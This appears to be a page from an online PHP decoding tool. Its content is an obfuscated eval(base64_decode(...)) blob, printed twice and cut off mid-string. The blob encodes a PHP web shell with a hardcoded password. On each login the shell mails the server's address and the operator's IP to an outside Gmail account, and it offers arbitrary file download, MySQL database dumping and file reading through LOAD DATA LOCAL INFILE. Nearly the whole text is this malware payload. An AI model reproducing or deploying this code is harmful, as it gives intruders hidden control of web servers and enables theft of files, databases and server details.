Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval (base64_decode('ZXJyb3JfcmVwb3J0aW5nKDcpOw0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNC..

Decoded Output download

<?  eval (base64_decode('ZXJyb3JfcmVwb3J0aW5nKDcpOw0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCm9iX3N0YXJ0KCk7DQokbXRpbWUgICAgID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsNCiRzdGFydHRpbWUgPSAkbXRpbWVbMV0gKyAkbXRpbWVbMF07DQpkZWZpbmUoJ1NBX1JPT1QnLCBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIGRpcm5hbWUoX19GSUxFX18pKSAuICcvJyk7DQpkZWZpbmUoJ0lTX1dJTicsIERJUkVDVE9SWV9TRVBBUkFUT1IgPT0gJ1xcJyk7DQpkZWZpbmUoJ0lTX0NPTScsIGNsYXNzX2V4aXN0cygnQ09NJykgPyAxIDogMCk7DQpkZWZpbmUoJ0lTX0dQQycsIGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpOw0KJGRpc19mdW5jID0gZ2V0X2NmZ192YXIoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQpkZWZpbmUoJ0lTX1BIUElORk8nLCAoIWVyZWdpKCJwaHBpbmZvIiwgJGRpc19mdW5jKSkgPyAxIDogMCk7DQpAc2V0X3RpbWVfbGltaXQoMCk7DQpmb3JlYWNoIChhcnJheSgNCiAgICAnX0dFVCcsDQogICAgJ19QT1NUJw0KKSBhcyAkX3JlcXVlc3QpIHsNCiAgICBmb3JlYWNoICgkJF9yZXF1ZXN0IGFzICRfa2V5ID0+ICRfdmFsdWUpIHsNCiAgICAgICAgaWYgKCRfa2V5ezB9ICE9ICdfJykgew0KICAgICAgICAgICAgaWYgKElTX0dQQykgew0KICAgICAgICAgICAgICAgICRfdmFsdWUgPSBzX2FycmF5KCRfdmFsdWUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJCRfa2V5ID0gJF92YWx1ZTsNCiAgICAgICAgfQ0KICAgIH0NCn0NCiRhZG1pbiAgICAgICAgICAgICAgICAgPSBhcnJheSgpOw0KJGFkbWluWydjaGVjayddICAgICAgICA9IHRydWU7DQokYWRtaW5bJ3Bhc3MnXSAgICAgICAgID0gJ2hhY2tlcjIwMTYnOw0KJGFkbWluWydjb29raWVwcmUnXSAgICA9ICcnOw0KJGFkbWluWydjb29raWVkb21haW4nXSA9ICcnOw0KJGFkbWluWydjb29raWVwYXRoJ10gICA9ICcvJzsNCiRhZG1pblsnY29va2llbGlmZSddICAgPSA4NjQwMDsNCmlmICgkY2hhcnNldCA9PSAndXRmOCcpIHsNCiAgICBoZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Iik7DQp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2JpZzUnKSB7DQogICAgaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1iaWc1Iik7DQp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2diaycpIHsNCiAgICBoZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWdiayIpOw0KfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdsYXRpbjEnKSB7DQogICAgaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0yIik7DQp9DQokc2VsZiAgICAgID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gPyAkX1NFUlZFUlsnUEhQX1NFTEYnXSA6ICRfU0VSVkVSWydTQ1JJUFRfTkFNRSddOw0KJHRpbWVzdGFtcCA9IHRpbWUoKTsNCmlmICgkYWN0aW9uID09ICJsb2dvdXQiKSB7DQogICAgc2Nvb2tpZSgna3lvYmluJywgJycsIC04NjQwMCAqIDM2NSk7DQogICAgcCgnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDtVUkw9JyAuICRzZWxmIC4gJyI+Jyk7DQogICAgcCgnPGJvZHkgYmFja2dyb3VuZD1ibGFjaz4nKTsNCiAgICBleGl0Ow0KfQ0KaWYgKCRhZG1pblsnY2hlY2snXSkgew0KICAgIGlmICgkZG9pbmcgPT0gJ2xvZ2luJykgew0KICAgICAgICBpZiAoJGFkbWluWydwYXNzJ10gPT0gJHBhc3N3b3JkKSB7DQogICAgICAgICAgICBzY29va2llKCdreW9iaW4nLCAkcGFzc3dvcmQpOw0KICAgICAgICAgICAgJHRpbWVfc2hlbGwgICAgID0gIiIgLiBkYXRlKCJkL20vWSAtIEg6aTpzIikgLiAiIjsNCiAgICAgICAgICAgICRpcF9yZW1vdGUgICAgICA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOw0KICAgICAgICAgICAgJGZyb21fc2hlbGxjb2RlID0gJ3NoZWxsQCcgLiBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSAuICcnOw0KICAgICAgICAgICAgJHRvX2VtYWlsICAgICAgID0gJ2FyY2hhdmluaGFja2VyQGdtYWlsLmNvbSc7DQoJCQkvLw0KICAgICAgICAgICAgJHNlcnZlcl9tYWlsICAgID0gIiIgLiBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSAuICIgIC0gIiAuICRfU0VSVkVSWydIVFRQX0hPU1QnXSAuICIiOw0KICAgICAgICAgICAgJGxpbmtjciAgICAgICAgID0gIkxpbms6ICIgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICIiIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gLiAiIC0gSVAgRXhjdXRpbmc6ICRpcF9yZW1vdGUgLSBUaW1lOiAkdGltZV9zaGVsbCI7DQogICAgICAgICAgICAkaGVhZGVyICAgICAgICAgPSAiRnJvbTogJGZyb21fc2hlbGxjb2RlDQpSZXBseS10bzogJGZyb21fc2hlbGxjb2RlIjsNCiAgICAgICAgICAgIEBtYWlsKCR0b19lbWFpbCwgJHNlcnZlcl9tYWlsLCAkbGlua2NyLCAkaGVhZGVyKTsNCiAgICAgICAgICAgIHAoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjI7VVJMPScgLiAkc2VsZiAuICciPicpOw0KICAgICAgICAgICAgcCgnPGJvZHkgYmdjb2xvcj1ibGFjaz4NCjxCUj48QlI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgY29sb3I9eWVsbG93IGZhY2U9dGFob21hIHNpemU9Mj5Mb2FkaW5nPEJSPjxpbWcgc3JjPWh0dHA6Ly90My5nc3RhdGljLmNvbS9pbWFnZXM/cT10Ym46QU5kOUdjUkZJUXk5b0xjOWpNV21EWV9OX3N4aldQeXVzVVdDNGlnd0sybHFCbTY4YURHY1NmS1BQQT48L2Rpdj4nKTsNCiAgICAgICAgICAgIGV4aXQ7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkZXJyX21lc3MgPSAnPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBiZ2NvbG9yPSMwRTBFMEUgd2lkdGg9MTAwJSBoZWlnaHQ9MjQ+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgY29sb3I9cmVkIGZhY2U9dGFob21hIHNpemU9Mj48Ymxpbms+UGFzc3dvcmQgaW5jb3JyZWN0LCBQbGVhc2UgdHJ5IGFnYWluISEhPC9ibGluaz48QlI+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPic7DQogICAgICAgICAgICBlY2hvICRlcnJfbWVzczsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoJF9DT09LSUVbJ2t5b2JpbiddKSB7DQogICAgICAgIGlmICgkX0NPT0tJRVsna3lvYmluJ10gIT0gJGFkbWluWydwYXNzJ10pIHsNCiAgICAgICAgICAgIGxvZ2lucGFnZSgpOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgbG9naW5wYWdlKCk7DQogICAgfQ0KfQ0KJGVycm1zZyA9ICcnOw0KaWYgKCRhY3Rpb24gPT0gJ3BocGluZm8nKSB7DQogICAgaWYgKElTX1BIUElORk8pIHsNCiAgICAgICAgcGhwaW5mbygpOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRlcnJtc2cgPSAncGhwaW5mbygpIGZ1bmN0aW9uIGhhcyBub24tcGVybWlzc2libGUnOw0KICAgIH0NCn0NCmlmICgkZG9pbmcgPT0gJ2Rvd25maWxlJyAmJiAkdGhlZmlsZSkgew0KICAgIGlmICghQGZpbGVfZXhpc3RzKCR0aGVmaWxlKSkgew0KICAgICAgICAkZXJybXNnID0gJ1RoZSBmaWxlIHlvdSB3YW50IERvd25sb2FkYWJsZSB3YXMgbm9uZXhpc3RlbnQnOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRmaWxlaW5mbyA9IHBhdGhpbmZvKCR0aGVmaWxlKTsNCiAgICAgICAgaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJyAuICRmaWxlaW5mb1snZXh0ZW5zaW9uJ10pOw0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScgLiAkZmlsZWluZm9bJ2Jhc2VuYW1lJ10pOw0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gZmlsZXNpemUoJHRoZWZpbGUpKTsNCiAgICAgICAgQHJlYWRmaWxlKCR0aGVmaWxlKTsNCiAgICAgICAgZXhpdDsNCiAgICB9DQp9DQppZiAoJGRvaW5nID09ICdiYWNrdXBteXNxbCcgJiYgISRzYXZlYXNmaWxlKSB7DQogICAgZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsNCiAgICAkdGFibGUgID0gYXJyYXlfZmxpcCgkdGFibGUpOw0KICAgICRyZXN1bHQgPSBxKCJTSE9XIHRhYmxlcyIpOw0KICAgIGlmICghJHJlc3VsdCkNCiAgICAgICAgcCgnPGgyPicgLiBteXNxbF9lcnJvcigpIC4gJzwvaDI+Jyk7DQogICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJ19NeVNRTC5zcWwnKTsNCiAgICBoZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vdW5rbm93bicpOw0KICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JyAuICRmaWxlbmFtZSk7DQogICAgJG15c3FsZGF0YSA9ICcnOw0KICAgIHdoaWxlICgkY3Vycm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCiAgICAgICAgaWYgKGlzc2V0KCR0YWJsZVskY3Vycm93WzBdXSkpIHsNCiAgICAgICAgICAgICRteXNxbGRhdGEgLj0gc3FsZHVtcHRhYmxlKCRjdXJyb3dbMF0pOw0KICAgICAgICB9DQogICAgfQ0KICAgIG15c3FsX2Nsb3NlKCk7DQogICAgZXhpdDsNCn0NCmlmICgkZG9pbmcgPT0gJ215c3FsZG93bicpIHsNCiAgICBpZiAoISRkYm5hbWUpIHsNCiAgICAgICAgJGVycm1zZyA9ICcgZGJuYW1lJzsNCiAgICB9IGVsc2Ugew0KICAgICAgICBkYmNvbm4oJGRiaG9zdCwgJGRidXNlciwgJGRicGFzcywgJGRibmFtZSwgJGNoYXJzZXQsICRkYnBvcnQpOw0KICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRteXNxbGRsZmlsZSkpIHsNCiAgICAgICAgICAgICRlcnJtc2cgPSAnVGhlIGZpbGUgeW91IHdhbnQgRG93bmxvYWRhYmxlIHdhcyBub25leGlzdGVudCc7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkcmVzdWx0ID0gcSgic2VsZWN0IGxvYWRfZmlsZSgnJG15c3FsZGxmaWxlJyk7Iik7DQogICAgICAgICAgICBpZiAoISRyZXN1bHQpIHsNCiAgICAgICAgICAgICAgICBxKCJEUk9QIFRBQkxFIElGIEVYSVNUUyB0bXBfYW5nZWw7Iik7DQogICAgICAgICAgICAgICAgcSgiQ1JFQVRFIFRBQkxFIHRtcF9hbmdlbCAoY29udGVudCBMT05HQkxPQiBOT1QgTlVMTCk7Iik7DQogICAgICAgICAgICAgICAgcSgiTE9BRCBEQVRBIExPQ0FMIElORklMRSAnIiAuIGFkZHNsYXNoZXMoJG15c3FsZGxmaWxlKSAuICInIElOVE8gVEFCTEUgdG1wX2FuZ2VsIEZJRUxEUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXycgRVNDQVBFRCBCWSAnJyBMSU5FUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXyc7Iik7DQogICAgICAgICAgICAgICAgJHJlc3VsdCA9IHEoInNlbGVjdCBjb250ZW50IGZyb20gdG1wX2FuZ2VsIik7DQogICAgICAgICAgICAgICAgcSgiRFJPUCBUQUJMRSB0bXBfYW5nZWwiKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRyb3cgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7DQogICAgICAgICAgICBpZiAoISRyb3cpIHsNCiAgICAgICAgICAgICAgICAkZXJybXNnID0gJ0xvYWQgZmlsZSBmYWlsZWQgJyAuIG15c3FsX2Vycm9yKCk7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRmaWxlaW5mbyA9IHBhdGhpbmZvKCRteXNxbGRsZmlsZSk7DQogICAgICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJyAuICRmaWxlaW5mb1snZXh0ZW5zaW9uJ10pOw0KICAgICAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JyAuICRmaWxlaW5mb1snYmFzZW5hbWUnXSk7DQogICAgICAgICAgICAgICAgaGVhZGVyKCJBY2NlcHQtTGVuZ3RoOiAiIC4gc3RybGVuKCRyb3dbMF0pKTsNCiAgICAgICAgICAgICAgICBlY2hvICRyb3dbMF07DQogICAgICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCn0NCj8+PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij4NCjx0aXRsZT48P3BocA0KZWNobyAiV2Vic2l0ZSA6ICIgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAiIjsNCj8+IHwgPD9waHANCmVjaG8gIklQIDogIiAuIGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pIC4gIiI7DQo/PiA8L3RpdGxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHksdGR7Zm9udDogMTBwdCBUYWhvbWE7Y29sb3I6Z3JheTtsaW5lLWhlaWdodDogMTZweDt9DQoNCmEge2NvbG9yOiAjODA4MDgwO3RleHQtZGVjb3JhdGlvbjpub25lO30NCmE6aG92ZXJ7Y29sb3I6ICNmMDA7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9DQouYWx0MSB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MXB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMEUwRTBFO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9DQouYWx0MiB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MXB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojZjlmOWY5O3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9DQouZm9jdXMgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjBweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6IzBFMEUwRTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQ0KLmZvdXQxIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbTowcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMwRTBFMEU7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30NCi5mb3V0IHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbTowcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMyMDIwMjA7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30NCi5oZWFkIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMyMDIwMjA7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O2ZvbnQtd2VpZ2h0OmJvbGQ7fQ0KLmhlYWRfc21hbGwgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjFweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6IzIwMjAyMDtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7Zm9udC13ZWlnaHQ6bm9ybWFsO2ZvbnQtc2l6ZTo4cHQ7fQ0KLmhlYWQgdGQgc3Bhbntmb250LXdlaWdodDpub3JtYWw7fQ0KZm9ybXttYXJnaW46MDtwYWRkaW5nOjA7fQ0KaDJ7bWFyZ2luOjA7cGFkZGluZzowO2hlaWdodDoyNHB4O2xpbmUtaGVpZ2h0OjI0cHg7Zm9udC1zaXplOjE0cHg7Y29sb3I6IzVCNjg2Rjt9DQp1bC5pbmZvIGxpe21hcmdpbjowO2NvbG9yOiM0NDQ7bGluZS1oZWlnaHQ6MjRweDtoZWlnaHQ6MjRweDt9DQp1e3RleHQtZGVjb3JhdGlvbjogbm9uZTtjb2xvcjojNzc3O2Zsb2F0OmxlZnQ7ZGlzcGxheTpibG9jazt3aWR0aDoxNTBweDttYXJnaW4tcmlnaHQ6MTBweDt9DQppbnB1dCwgdGV4dGFyZWEsIGJ1dHRvbg0Kew0KCWZvbnQtc2l6ZTogOXB0Ow0KCWNvbG9yOiAjY2NjOw0KCWZvbnQtZmFtaWx5OiB2ZXJkYW5hLCBzYW5zLXNlcmlmOw0KCWJhY2tncm91bmQtY29sb3I6ICMyMDIwMjA7DQoJYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjNzRBMjAyOw0KCWJvcmRlci10b3A6IDFweCBzb2xpZCAjNzRBMjAyOw0KCWJvcmRlci1yaWdodDogMXB4IHNvbGlkICM3NEEyMDI7DQoJYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM3NEEyMDI7DQp9DQpzZWxlY3QNCnsNCglmb250LXNpemU6IDhwdDsNCglmb250LXdlaWdodDogbm9ybWFsOw0KCWNvbG9yOiAjY2NjOw0KCWZvbnQtZmFtaWx5OiB2ZXJkYW5hLCBzYW5zLXNlcmlmOw0KCWJhY2tncm91bmQtY29sb3I6ICMyMDIwMjA7DQp9DQoNCjwvc3R5bGU+DQo8L3N0eWxlPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gQ2hlY2tBbGwoZm9ybSkgew0KCWZvcih2YXIgaT0wO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKSB7DQoJCXZhciBlID0gZm9ybS5lbGVtZW50c1tpXTsNCgkJaWYgKGUubmFtZSAhPSAnY2hrYWxsJykNCgkJZS5jaGVja2VkID0gZm9ybS5jaGthbGwuY2hlY2tlZDsNCiAgICB9DQp9DQpmdW5jdGlvbiAkKGlkKSB7DQoJcmV0dXJuIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKTsNCn0NCmZ1bmN0aW9uIGdvYWN0aW9uKGFjdCl7DQoJJCgnZ29hY3Rpb24nKS5hY3Rpb24udmFsdWU9YWN0Ow0KCSQoJ2dvYWN0aW9uJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iaW5pdCgpIiBzdHlsZT0ibWFyZ2luOjA7dGFibGUtbGF5b3V0OmZpeGVkOyB3b3JkLWJyZWFrOmJyZWFrLWFsbCIgYmdjb2xvcj1ibGFjayBiYWNrZ3JvdW5kPWh0dHA6Ly9pMTEyNC5waG90b2J1Y2tldC5jb20vYWxidW1zL2w1NzUvZ2l2YXkvdGhfbWF0cml4LmdpZj4NCjxkaXYgYm9yZGVyPSIwIiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IHdpZHRoOiAxMDAlOyBoZWlnaHQ6IDI1cHg7IHotaW5kZXg6IDE7IHRvcDogMzAwcHg7IGxlZnQ6IDA7IiBpZD0ibG9hZGluZyIgYWxpZ249ImNlbnRlciIgdmFsaWduPSJjZW50ZXIiPg0KCQkJCTx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMTBweCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIiBzdHlsZT0iYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZSIgYm9yZGVyY29sb3I9IiMwMDMzMDAiPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPWNlbnRlcj4NCgkJCQkgPGRpdiBib3JkZXI9IjEiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjMEUwRTBFOyBmaWx0ZXI6IGFscGhhKG9wYWNpdHk9NzApOyBvcGFjaXR5OiAuNzsgd2lkdGg6IDExMHB4OyBoZWlnaHQ6IDI1cHg7IHotaW5kZXg6IDE7IGJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7IiBib3JkZXJjb2xvcj0iIzAwNjYwMCIgIGFsaWduPSJjZW50ZXIiPg0KCQkJCSAgIExvYWRpbmc8aW1nIHNyYz0iaHR0cDovL2kzODIucGhvdG9idWNrZXQuY29tL2FsYnVtcy9vbzI2My92bmhhY2tlci9sb2FkaW5nLmdpZiI+DQoJCQkJICA8L2Rpdj4NCgkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCTwvdGFibGU+DQo8L2Rpdj4NCiA8c2NyaXB0Pg0KIHZhciBsZD0oZG9jdW1lbnQuYWxsKTsNCiAgdmFyIG5zND1kb2N1bWVudC5sYXllcnM7DQogdmFyIG5zNj1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCYmIWRvY3VtZW50LmFsbDsNCiB2YXIgaWU0PWRvY3VtZW50LmFsbDsNCiAgaWYgKG5zNCkNCiAJbGQ9ZG9jdW1lbnQubG9hZGluZzsNCiBlbHNlIGlmIChuczYpDQogCWxkPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2FkaW5nIikuc3R5bGU7DQogZWxzZSBpZiAoaWU0KQ0KIAlsZD1kb2N1bWVudC5hbGwubG9hZGluZy5zdHlsZTsNCiAgZnVuY3Rpb24gaW5pdCgpDQogew0KIGlmKG5zNCl7bGQudmlzaWJpbGl0eT0iaGlkZGVuIjt9DQogZWxzZSBpZiAobnM2fHxpZTQpIGxkLmRpc3BsYXk9Im5vbmUiOw0KIH0NCiA8L3NjcmlwdD4NCjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPg0KCTx0ciBjbGFzcz0iaGVhZF9zbWFsbCI+DQoJCTx0ZCAgd2lkdGg9MTAwJT4NCgkJPHRhYmxlIHdpZHRoPTEwMCU+PHRyIGNsYXNzPSJoZWFkX3NtYWxsIj48dGQgIHdpZHRoPTg2cHg+PHA+PGEgdGl0bGU9IiAuOjogV2FybmluZyAhIFNoZWxsIGlzIHVzZWQgdG8gcmVmZXIgbm90IHRvIGhhY2sgOjouICIgaHJlZj0iJzskc2VsZjs7ZWNobyAnIj48aW1nIHNyYz1odHRwOi8vaTQ3Ni5waG90b2J1Y2tldC5jb20vYWxidW1zL3JyMTI5L3RoaWVudGhhbnR1eWV0NDQ0NC9hbm9ueW1vdXN3YWxscGFwZXIucG5nPjwvYT48L3A+DQoJICAgICAgICA8L3RkPg0KCQk8dGQ+DQogICAgICAgICAgICANCgkJPHNwYW4gc3R5bGU9ImZsb2F0OmxlZnQ7Ij4gPD9waHAgZWNobyAiSG9zdG5hbWU6ICIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIiOz8+IHwgU2VydmVyIElQOiA8P3BocCBlY2hvICI8Zm9udCBjb2xvcj15ZWxsb3c+Ii5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iPC9mb250PiI7Pz4gfCBZb3VyIElQOiA8P3BocCBlY2hvICI8Zm9udCBjb2xvcj15ZWxsb3c+Ii4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4iPC9mb250PiI7Pz4NCgkgIHwgPGEgaHJlZj0iaHR0cDovL2dvb2dsZS5jb20iIHRhcmdldD0iX2JsYW5rIj48P3BocCBlY2hvIHN0cl9yZXBsYWNlKCcuJywnJywncHJpdjggJyk7Pz4gPC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2xvZ291dCcpOyI+PGZvbnQgY29sb3I9cmVkPkxvZ291dDwvZm9udD48L2E+PC9zcGFuPiA8YnIgLz4NCg0KCQk8P3BocA0KJGN1cmxfb24gID0gQGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk7DQokbXlzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0Jyk7DQokbXNzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk7DQokcGdfb24gICAgPSBAZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0Jyk7DQokb3JhX29uICAgPSBAZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpOw0KZWNobyAoKCRzYWZlX21vZGUpID8gKCJTYWZlX21vZDogPGI+PGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiAtICIpIDogKCJTYWZlX21vZDogPGI+PGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48L2I+IC0gIikpOw0KZWNobyAiUEhQIHZlcnNpb246IDxiPiIgLiBAcGhwdmVyc2lvbigpIC4gIjwvYj4gLSAiOw0KZWNobyAiY1VSTDogIiAuICgoJGN1cmxfb24pID8gKCI8Yj48Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+IC0gIikgOiAoIjxiPjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPiAtICIpKTsNCmVjaG8gIk15U1FMOiA8Yj4iOw0KJG15c3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpOw0KaWYgKCRteXNxbF9vbikgew0KICAgIGVjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4gLSAiOw0KfSBlbHNlIHsNCiAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiOw0KfQ0KZWNobyAiTVNTUUw6IDxiPiI7DQokbXNzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk7DQppZiAoJG1zc3FsX29uKSB7DQogICAgZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiAtICI7DQp9IGVsc2Ugew0KICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPiAtICI7DQp9DQplY2hvICJQb3N0Z3JlU1FMOiA8Yj4iOw0KJHBnX29uID0gQGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpOw0KaWYgKCRwZ19vbikgew0KICAgIGVjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4gLSAiOw0KfSBlbHNlIHsNCiAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiOw0KfQ0KZWNobyAiT3JhY2xlOiA8Yj4iOw0KJG9yYV9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJyk7DQppZiAoJG9yYV9vbikgew0KICAgIGVjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4iOw0KfSBlbHNlIHsNCiAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj48QlI+IjsNCn0NCmVjaG8gIkRpc2FibGUgZnVuY3Rpb25zIDogPGI+IjsNCmlmICgnJyA9PSAoJGRmID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpKSB7DQogICAgZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+Tk9ORTwvZm9udD48L2I+PEJSPiI